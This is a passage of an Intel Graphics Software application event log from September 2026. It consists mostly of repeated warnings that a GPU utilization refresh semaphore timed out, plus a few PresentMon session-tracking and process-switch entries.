timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:31.734\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:31.963\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:32.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:32.484\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:32.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:32.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:33.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:33.465\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:33.673\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:33.888\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:34.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:34.325\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:34.986\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:35.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:35.413\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:35.741\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:36.068\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:36.277\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:36.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:36.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.041\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.262\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.699\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:37.918\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.123\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.563\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.780\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:38.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:39.216\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:39.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:39.660\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:39.883\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.100\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.319\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.530\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.754\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:40.966\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:41.180\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:41.399\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:41.727\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:41.944\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:42.167\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:42.502\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:42.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:42.935\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:43.265\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:43.490\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:43.708\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:44.357\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:44.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:45.118\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:45.338\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:45.560\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:45.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:46.003\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:46.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:46.655\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:46.873\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.092\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.525\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:47.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:48.175\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:48.490\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:48.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:48.922\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:49.257\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:49.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:49.912\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:50.125\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:50.342\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:50.347\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:03.585\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:03.588\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:03.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:04.023\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:04.240\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:04.679\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:04.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:05.119\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:05.334\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:05.880\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:06.089\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:06.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:06.623\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:06.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:07.287\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:07.831\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:08.270\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:08.598\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:08.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:09.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:09.578\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:09.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:10.443\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:10.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:10.884\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:11.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:11.321\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:11.875\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.094\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.313\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.739\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:12.956\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:13.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:13.501\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:13.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:14.147\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:14.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:14.582\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 